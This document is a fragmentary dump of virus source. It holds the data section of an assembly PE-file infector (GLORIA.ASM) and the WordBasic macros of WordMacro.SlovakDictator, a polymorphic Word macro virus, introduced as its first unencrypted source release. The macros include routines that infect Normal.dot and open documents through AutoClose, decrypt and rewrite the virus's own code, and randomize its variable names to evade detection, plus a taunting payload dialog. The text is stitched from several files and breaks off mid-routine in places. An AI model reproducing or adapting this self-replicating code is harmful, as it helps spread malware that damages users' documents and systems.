xGetCommandLineA db "GetCommandLineA",00h
xRegisterServiceProcess db "RegisterServiceProcess",00h
xSetFilePointer db "SetFilePointer",00h
xSetEndOfFile db "SetEndOfFile",00h
db 0FFh
align 4
handle_new_file dd 00h
handle_old_file dd 00h
handle_mapping dd 00h
handle_find dd 00h
new_file_size dd 00h
old_file_size dd 00h
mem_addr dd 00h
peofs dd 00h
tableofs dd 00h
lastsection dd 00h
GLORIA.ASM
junk_ofs dd 00h
addr_sys dd 00h
objalign dd 00h
filealign dd 00h
_real_ofs dd 00h
virtualsize dd 00h
physicalsize dd 00h
virus_entry dd 00h
files_infect db 00h
GetProc dd 00h
file_attr dd 00h
all_sec_size dd 00h
api_addr:
FindFirstFileA dd 00h
FindNextFileA dd 00h
DeleteFileA dd 00h
GetFileSize dd 00h
SetFileAttributesA dd 00h
GetCurrentDirectoryA dd 00h
CreateFileMappingA dd 00h
MapViewOfFile dd 00h
UnmapViewOfFile dd 00h
CreateFileA dd 00h
WinExec dd 00h
CloseHandle dd 00h
FindClose dd 00h
GetDriveTypeA dd 00h
CopyFileA dd 00h
Sleep dd 00h
SetCurrentDirectoryA dd 00h
GetWindowsDirectoryA dd 00h
GetFileAttributesA dd 00h
GetCommandLineA dd 00h
RegisterServiceProcess dd 00h
SetFilePointer dd 00h
SetEndOfFile dd 00h
end Gloria
MY_OWN.INC
extrn MessageBoxA:proc
extrn ExitProcess:proc
.data
dummy db virus_crypt dup (00h)
filetime STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
filetime ENDS
win32_find_data STRUC
FileAttributes dd ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh dd ?
FileSizeLow dd ?
Reserved0 dd ?
Reserved1_ dd ?
FileName db 260 dup (?)
AlternateFileName db 14 dup (?)
win32_find_data ENDS
peheader_find_data STRUC
_pe dd 00h
_cpu dw 00h
_objects dw 00h
dd 3 dup (00h)
_nt dw 00h
dw 00h
dd 4 dup (00h)
_entry dd 00h
dd 2 dup (00h)
_image_base dd 00h
_obj_ln dd 00h
_file_ln dd 00h
dd 4 dup (00h)
_img_sz dd 00h
_header_sz dd 00h
db 168 dup (00h)
peheader_find_data ENDS
section_pe_file STRUC
_name_sec db 8 DUP (00h)
_virtual_sz dd 00h ; SH_VirtualSize
_RVA dd 00h ; SH_VirtualAddress
_physical_sz dd 00h ; SH_SizeOfRawData
_physical_off dd 00h ; SH_PointerToRawData
dd 3 dup (00h)
_obj_flags db 4 dup (00h)
section_pe_file ENDS
.code
SlovakDictator was first of the real polymorphic macro viruses. According that it was written in days when
nobody (mostly avers :-) believed there is no polymorphism possible it is really "hard" polymorphic. While
reproducing each variable is substituted with random generated string, that makes look of this virii very
strange. To get even more strange, instead of using numerical constants this virii uses variables set to
specified value. Virii is based on two pass replication. After AutoClose is executed creates a special macro
with random name. Its code is decoded from array stored in macro. This macro is executed and replicate
(and mutate) itself to template or document. Because of this process is quite complex this virii is really slow.
This is the reason of it's name.
As far as we know this is the first release of unencrypted source. We are glad we can introduce it to you. So
enjoy.
------------------------------------------------------------------------------
Sub MAIN
ToolsMacro .Name = "SlovakDictatorRESOURCEdebug", .Show = 0, .Edit
BigString$ = GetText$(0, 100000)
DocClose 2
j = 1
i = 0
looop:
Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$(34)
loop2:
char$ = Mid$(BigString$, j, 1)
j = j + 1
If char$ = Chr$(13) Then Goto skip1
If char$ = Chr$(9) Then Goto loop2
If char$ = Chr$(34) Then Insert "@@" : Goto loop2
Insert char$
Goto loop2
skip1:
Insert Chr$(34)
InsertPara
i = i + 1
If j < Len(BigString$) Then Goto looop
End Sub
==============================================================================
Macro name: StarterFINAL [STARTERFINAL] "U"
Description: Vlozi zdrojove riadky zakryptovanej casti makra na poziciu kurzora - pre FINAL
verziu
------------------------------------------------------------------------------
Sub MAIN
ToolsMacro .Name = "SlovakDictatorRESOURCEfinal", .Show = 0, .Edit
BigString$ = GetText$(0, 100000)
DocClose 2
j = 1
i = 0
looop:
Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$(34)
loop2:
char$ = Mid$(BigString$, j, 1)
j = j + 1
If char$ = Chr$(13) Then Goto skip1
If char$ = Chr$(9) Then Goto loop2
If char$ = Chr$(34) Then Insert "@@" : Goto loop2
Insert char$
Goto loop2
skip1:
Insert Chr$(34)
InsertPara
i = i + 1
If j < Len(BigString$) Then Goto looop
End Sub
==============================================================================
Macro name: EncryptAutoClose [ENCRYPTAUTOCLOSE] "U"
------------------------------------------------------------------------------
Sub MAIN
SLOW_A.MAC
BUG:
MsgBox "Chyba pri vytvarani kryptovaneho makra", "BIG BUG OCCURED !", 48
FINISH:
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1debug [SLOVAKDICTATORGEN1DEBUG] "U"
Description: Finalna verzia WordMacro.SlovakDictator
s DEBUG infom - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames
Sub MAIN
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 37
HiddenStart = 120
HiddenLines = 178
PolyNames = 31
On Error Goto ErrorHandler
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SLOW_A.MAC
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
SLOW_A.MAC
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1final [SLOVAKDICTATORGEN1FINAL] "U"
Description: Finalna verzia WordMacro.SlovakDictator
bez DEBUG infa - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
SLOW_A.MAC
Sub MAIN
On Error Goto ErrorHandler
DisableInput 1
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 179
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SourceLinesTable$(8) = "Dim Shared Uvodzovky"
SourceLinesTable$(9) = "Dim Shared Zavinac"
SourceLinesTable$(10) = "Dim Shared CryptConstant"
SourceLinesTable$(11) = "Dim Shared SourceLinesTable$(200)"
SourceLinesTable$(12) = "Dim Shared HiddenIntroLen"
SourceLinesTable$(13) = "Dim Shared HiddenStart"
SourceLinesTable$(14) = "Dim Shared HiddenLines"
SourceLinesTable$(15) = "Dim Shared PolymorphNamesTable$(31)"
SourceLinesTable$(16) = "Dim Shared PolyNames"
SourceLinesTable$(17) = ""
SourceLinesTable$(18) = "Sub MAIN"
SourceLinesTable$(19) = "On Error Goto ErrorHandler"
SourceLinesTable$(20) = "DisableInput 1"
SourceLinesTable$(21) = "FixedConstant_0 = 0"
SourceLinesTable$(22) = "FixedConstant_1 = 1"
SourceLinesTable$(23) = "FixedConstant_2 = 2"
SourceLinesTable$(24) = "FixedConstant_7 = 7"
SourceLinesTable$(25) = "FixedConstant_10 = 10"
SourceLinesTable$(26) = "FixedConstant_20 = 20"
SourceLinesTable$(27) = "FixedConstant_22 = 22"
SourceLinesTable$(28) = "FixedConstant_65 = 65"
SourceLinesTable$(29) = "Uvodzovky = 34"
SLOW_A.MAC
PolymorphNamesTable$(11) = "Uvodzovky"
PolymorphNamesTable$(12) = "Zavinac"
PolymorphNamesTable$(13) = "HiddenIntroLen"
PolymorphNamesTable$(14) = "HiddenStart"
PolymorphNamesTable$(15) = "HiddenLines"
PolymorphNamesTable$(16) = "PolyNames"
PolymorphNamesTable$(17) = "MyVarI1"
PolymorphNamesTable$(18) = "MyVarJ2"
PolymorphNamesTable$(19) = "MyVarK3"
PolymorphNamesTable$(20) = "MyVarA4"
PolymorphNamesTable$(21) = "WordVersion"
PolymorphNamesTable$(22) = "WordVer"
PolymorphNamesTable$(23) = "ErrorHandler"
PolymorphNamesTable$(24) = "DecryptLines"
PolymorphNamesTable$(25) = "SaveWindowName"
PolymorphNamesTable$(26) = "FlushAllTables"
PolymorphNamesTable$(27) = "MutateAllNames"
PolymorphNamesTable$(28) = "TempMacro"
PolymorphNamesTable$(29) = "GenName"
PolymorphNamesTable$(30) = "InitializePolymorphTables"
'//// iniciacna cast
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
'//// zaverecna cast
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
SLOW_A.MAC
Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
==============================================================================
Macro name: SlovakDictatorRESOURCEdebug [SLOVAKDICTATORRESOURCEDEBUG] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames
Sub MAIN
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 37
HiddenStart = 120
SLOW_A.MAC
HiddenLines = 178
PolyNames = 31
On Error Goto ErrorHandler
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
DisableInput 1
ShowBox
CurFile$ = FileName$() : MsgBox "File = " + CurFile$
If CurFile$ = "" Then Goto ErrorHandler
If CheckInstalled(0) = 0 Then
MsgBox "2Normal" : Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If
If CheckInstalled(1) = 0 Then
MsgBox "2File" : Infect(3)
FileSave
End If
ErrorHandler:
End Sub
Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc <> 4 Or ParlamentnyPuc <> 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 29, 8, 349, 13, "You're infected by WordMacro.SlovakDictator virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub
Function CheckInstalled(j)
On Error Resume Next
CheckInstalled = 0
For i = 1 To CountMacros(j)
If MacroName$(i, j) = "AutoClose" Then CheckInstalled = 1
Next i
End Function
Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
SLOW_A.MAC
'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0
Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
ErrorHandler:
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
SLOW_A.MAC
Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
Sub InitializePolymorphTables
==============================================================================
Macro name: SlovakDictatorRESOURCEfinal [SLOVAKDICTATORRESOURCEFINAL] "U"
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames
Sub MAIN
On Error Goto ErrorHandler
DisableInput 1
FixedConstant_0 = 0
SLOW_A.MAC
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 38
HiddenStart = 120
HiddenLines = 179
PolyNames = 31
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler
Call InitializePolymorphTables
'//// begin of hidden part ////
ShowBox
CurFile$ = FileName$()
If CurFile$ = "" Then Goto ErrorHandler
If CheckInstalled(0) = 0 Then
Infect(1)
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
Goto ErrorHandler
End If
If CheckInstalled(1) = 0 Then
Infect(3)
FileSave
End If
ErrorHandler:
End Sub
Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then
Beep
Begin Dialog UserDialog 380, 224, "Virus ALERT!"
Text 29, 8, 349, 13, "You're infected by WordMacro.SlovakDictator virus", .Text1
Text 15, 28, 360, 13, "Welcome to the LME (Lamer's Macro Engine) ver. 1.00", .Text2
Text 145, 51, 123, 13, "Dis is Level 421", .Text3
Text 35, 73, 342, 13, "(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia", .Text4
Text 34, 98, 343, 13, "Dis is the first world true polymorphic macro virus !", .Text5
PushButton 120, 188, 147, 21, "Accept / Suhlas", .Push1
Text 100, 165, 228, 13, "Big fuck to the big boxer V.M.", .Text6
End Dialog
Dim dlg As UserDialog
Dialog(dlg)
End If
End Sub
Function CheckInstalled(j)
SLOW_A.MAC
Sub Infect(WhatToInfect)
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "AutoClose", .Show = WhatToInfect, .Edit
EditClear - 20
'////
'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra
'//// viditelna cast - nemenit !
'////
For i = 0 To HiddenIntroLen : Insert SourceLinesTable$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov "Sub OriginalMacroBody"+1
'//// az po "Sub InitializePolymorphTables"-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
For i = HiddenStart To HiddenLines : Insert SourceLinesTable$(i) : InsertPara : Next i
EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase
= 1, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1,
.FindAllWordForms = 0
Sub OriginalMacroBody
'//// end of Hidden part ////
ScreenUpdating FixedConstant_0
DisableAutoMacros FixedConstant_1
DecryptLines
SaveWindowName$ = WindowName$()
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Edit
EditClear - FixedConstant_20
For MyVarI1 = FixedConstant_0 To HiddenLines : Insert SourceLinesTable$(MyVarI1) : InsertPara
: Next MyVarI1
FlushAllTables
MutateAllNames
DocClose FixedConstant_1
Activate SaveWindowName$
Call TempMacro
ToolsMacro .Name = "TempMacro", .Show = FixedConstant_1, .Delete
ErrorHandler:
SLOW_A.MAC
DisableAutoMacros FixedConstant_0
ScreenUpdating FixedConstant_1
DisableInput FixedConstant_0
End Sub
Sub DecryptLines
For MyVarI1 = FixedConstant_0 To HiddenLines
MyVarA4$ = ""
MyVarJ2 = Len(SourceLinesTable$(MyVarI1))
For MyVarK3 = FixedConstant_1 To MyVarJ2
MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTable$(MyVarI1), MyVarK3,
FixedConstant_1)) - CryptConstant)
Next MyVarK3
SourceLinesTable$(MyVarI1) = MyVarA4$
Next MyVarI1
End Sub
Sub FlushAllTables
For MyVarI1 = FixedConstant_0 To HiddenLines
Insert "SourceLinesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
SourceLinesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
Insert "PolymorphNamesTable$(" + Str$(MyVarI1) + ")=" + Chr$(Uvodzovky) +
PolymorphNamesTable$(MyVarI1) + Chr$(Uvodzovky)
InsertPara
Next MyVarI1
End Sub
Function GenName$
MyVarA4$ = ""
For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =
MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_65) : Next MyVarI1
GenName$ = MyVarA4$
End Function
Sub MutateAllNames
For MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1
EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Replace = GenName$, .Direction =
FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch =
FixedConstant_0, .SoundsLike = FixedConstant_0, .ReplaceAll, .Format = FixedConstant_0, .Wrap
= FixedConstant_1, .FindAllWordForms = FixedConstant_0
Next MyVarI1
End Sub
Sub InitializePolymorphTables
==============================================================================
Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"
Encryption key: 8E
------------------------------------------------------------------------------
Dim Shared CTOJSIQREBIMKSCJOQ
Dim Shared KRVTLQFIOQ
Dim Shared VFFLVOMBJO
Dim Shared SLDMTVLJUILNV
Dim Shared QCSQPHEEPFTIUNGC
Dim Shared QRPSLDKCBJN
Dim Shared ECFBULHOSNPVHFQHU
Dim Shared RCEGHFVLBVNUHPJ
Dim Shared FUFNJKGLSUIQKJLM
Dim Shared HTHPBJIVDPO
Dim Shared VJPJHQNAQRNO
SLOW_A.MAC
Sub MAIN
On Error Goto UTCUSCLAOECQNLTBA
DisableInput 1
CTOJSIQREBIMKSCJOQ = 0
KRVTLQFIOQ = 1
VFFLVOMBJO = 2
SLDMTVLJUILNV = 7
QCSQPHEEPFTIUNGC = 10
QRPSLDKCBJN = 20
ECFBULHOSNPVHFQHU = 22
RCEGHFVLBVNUHPJ = 65
FUFNJKGLSUIQKJLM = 34
HTHPBJIVDPO = 64
ITVNPFSFJOLERDPDVGC = 38
JGGUCPCJHP = 120
ATBCMFMITOIRU = 179
DBTKGBAKSUBPOIBKTAH = 31
ADKAPBAVCRPTNA$ = AppInfo$(VFFLVOMBJO)
AVLRCKOUFVTMKMJPJR = Val(Left$(ADKAPBAVCRPTNA$, KRVTLQFIOQ))
If AVLRCKOUFVTMKMJPJR <> SLDMTVLJUILNV Then Goto UTCUSCLAOECQNLTBA
Call FLPMKRKPCAPOCBQVUMN
ScreenUpdating CTOJSIQREBIMKSCJOQ
DisableAutoMacros KRVTLQFIOQ
VOPESNDPVHCINP
JOVEPAKCFV$ = WindowName$()
ToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .Edit
EditClear - QRPSLDKCBJN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU : Insert FHUMCEAANPGT$(
BJHKBJMKQVULFPN) : InsertPara : Next BJHKBJMKQVULFPN
HOKFFSFLVKJA
ULTNGQPUUTERVSDV
DocClose KRVTLQFIOQ
Activate JOVEPAKCFV$
Call MBDRPMTMVEKV
ToolsMacro .Name = "MBDRPMTMVEKV", .Show = KRVTLQFIOQ, .Delete
UTCUSCLAOECQNLTBA:
DisableAutoMacros CTOJSIQREBIMKSCJOQ
ScreenUpdating KRVTLQFIOQ
DisableInput CTOJSIQREBIMKSCJOQ
End Sub
Sub VOPESNDPVHCINP
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
COICSINJIUIOI$ = ""
VGBPGUTQAQ = Len(FHUMCEAANPGT$(BJHKBJMKQVULFPN))
For MUANKIPLHAIGVBJSDI = KRVTLQFIOQ To VGBPGUTQAQ
SLOW_A.MAC
Sub HOKFFSFLVKJA
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
Insert "FHUMCEAANPGT$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +
FHUMCEAANPGT$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
InsertPara
Next BJHKBJMKQVULFPN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
Insert "OQJKJCKTVTMLQS$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM) +
OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
InsertPara
Next BJHKBJMKQVULFPN
End Sub
Function CEDKKKAROAKFSRAH$
COICSINJIUIOI$ = ""
